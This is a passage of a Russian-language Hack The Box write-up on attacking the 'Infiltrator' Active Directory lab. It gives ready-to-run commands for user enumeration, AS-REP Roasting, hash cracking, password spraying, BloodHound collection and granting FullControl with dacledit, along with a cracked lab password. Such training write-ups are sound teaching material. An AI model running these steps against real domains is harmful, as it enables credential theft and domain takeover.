Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Мы проведем классический сбор данных в Active Directory и через цепочку разрешений скомпрометируем учетную запись, с которой получим сессию на хосте. Затем извлечем данные из мессенджера, вскроем приложение на .NET и проэксплуатируем планировщик задач для получения служебной учетной записи. Повысим привилегии через технику ESC4 для службы ADCS.
Наша цель — получение прав суперпользователя на машине Infiltrator с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.31 infiltrator.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Сканер нашел 13 открытых портов:
Добавим в /etc/hosts
еще и полное имя машины, а затем начнем разведку с изучения сайта.
10.10.11.31 infiltrator.htb dc01.infiltrator.htb dc01
Главная страница сайта
На сайте находим список сотрудников. Выписываем их в отдельный файл.
Сотрудники компании
С помощью следующего скрипта мы можем составить список возможных учетных записей в домене.
import sysif len(sys.argv)==1: print("Usage: " + sys.argv[0] + " <usernames.txt>") sys.exit(1)names = open(sys.argv[1],"r").read().strip().split('n')list = []for name in names: n1, n2 = name.split(' ') list.append(n1) list.append(n1+n2) list.append(n1+"."+n2) list.append(n1+"-"+n2) list.append(n1+"_"+n2) list.append(n1+n2[0]) list.append(n1+"."+n2[0]) list.append(n1+"-"+n2[0]) list.append(n1+"_"+n2[0]) list.append(n2[0]+n1) list.append(n2[0]+"."+n1) list.append(n2[0]+"-"+n1) list.append(n2[0]+"_"+n1) list.append(n2) list.append(n2+n1) list.append(n2+"."+n1) list.append(n2+"-"+n1) list.append(n2+"_"+n1) list.append(n2+n1[0]) list.append(n2+"."+n1[0]) list.append(n2+"-"+n1[0]) list.append(n2+"_"+n1[0]) list.append(n1[0]+n2) list.append(n1[0]+"."+n2) list.append(n1[0]+"-"+n2) list.append(n1[0]+"_"+n2)for n in list: print(n)
python3 getusers.py team.txt > pos_users.txt
Теперь можно использовать инструмент Kerbrute для определения учетных записей, которые реально существуют в домене. Дело в том, что Kerberos возвращает разные коды ошибок для существующей и несуществующей учетных записей.
kerbrute_linux_amd64 userenum -d infiltrator.htb --dc dc01.infiltrator.htb pos_users.txt
Учетные записи в домене
Имея список действительных учетных записей, можно провести атаку AS-REP Roasting. Если в UAC пользователя установлен флаг «Без предварительной проверки подлинности Kerberos», то мы можем получить TGT-билет пользователя без верного пароля, а затем сбрутить пароль офлайн.
GetNPUsers.py -dc-ip 10.10.11.31 infiltrator.htb/ -usersfile users.txt -no-pass
Проведение атаки AS-REP Roasting
Получаем хеш пользователя L.Clark и можем его пробрутить с помощью hashcat. Затем валидируем учетные данные через NetExec.
hashcat hash.txt rockyou.txt
Результат подбора пароляnxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!'
Проверка учетных данных
Получив валидные логин и пароль, собираем информацию из домена. Первым делом получаем список всех пользователей.
nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!' --users
Пользователи домена
В описании одной учетной записи есть строка, похожая на пароль. Сохраняем всех юзеров в файл и пробуем использовать найденную строку как пароль для других аккаунтов.
nxc smb 10.10.11.31 -u users.txt -p passwords.txt --continue-on-success
Результат перебора
На некоторых учетных записях получаем ошибку STATUS_ACCOUNT_RESTRICTION
, а значит, повторим перебор, но теперь с использованием аутентификации Kerberos.
nxc smb DC01.infiltrator.htb -u users.txt -p passwords.txt -k --continue-on-success
Результат перебора
Ошибка сменилась на KRB_AP_ERR_SKEW
, а значит, нам нужно синхронизировать время на локальной машине с сервером.
sudo timedatectl set-ntp falsesudo ntpdate -s 10.10.11.31
У нас есть несколько учеток, пришло время собрать базу данных BloodHound. Для сбора данных с использованием инструментария под Linux нам нужен рабочий DNS-сервер, однако иногда до него можно не достучаться. Поэтому мы развернем свой при помощи скрипта DNSChef.
Справка: BloodHound
Утилита BloodHound использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки.
Первым делом нам нужно создать конфиг infiltrator.txt
, в котором должны быть стандартные для любого домена записи DNS.
[A] *.infiltrator.htb=10.10.11.31 [SRV] _ldap._tcp.pdc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb _ldap._tcp.gc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb _kerberos._tcp.dc._msdcs.infiltrator.htb=0 5 88 infiltrator.htb
Затем отключаем системный резолвер и запускаем свой DNS-сервер.
sudo systemctl stop systemd-resolved
python3 dnschef.py --file ./infiltrator.txt
Запуск DNSChef
Затем используем скрипт bloodhound-ce для сбора данных BloodHound. После завершения работы скрипта не забываем отключить DNSChef и снова активировать systemd-resolved
.
python3 bloodhound.py -d 'infiltrator.htb' -u 'L.Clark' -p 'WAT?watismypass!' -c All -ns 127.0.0.1 -dc DC01.infiltrator.htb --use-ldap --zip --auth-method ntlm
sudo systemctl start systemd-resolved
Сбор данных BloodHound
Строим граф от пользователя D.ANDERSON
.
Граф BloodHound
Пользователь D.ANDERSON
имеет право GenericAll на подразделение MARKETING DIGITAL
, где состоит пользователь E.RODRIGUEZ
. Это право позволяет нам назначить любые права для всех членов подразделения. С помощью скрипта dacledit из пакета Impacket даем пользователю D.ANDERSON
полные права на всех членов MARKETING DIGITAL
.
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson:WAT?watismypass!' -k -dc-ip 10.10.11.31
Назначение прав на подразделение
Источник: xakep.ru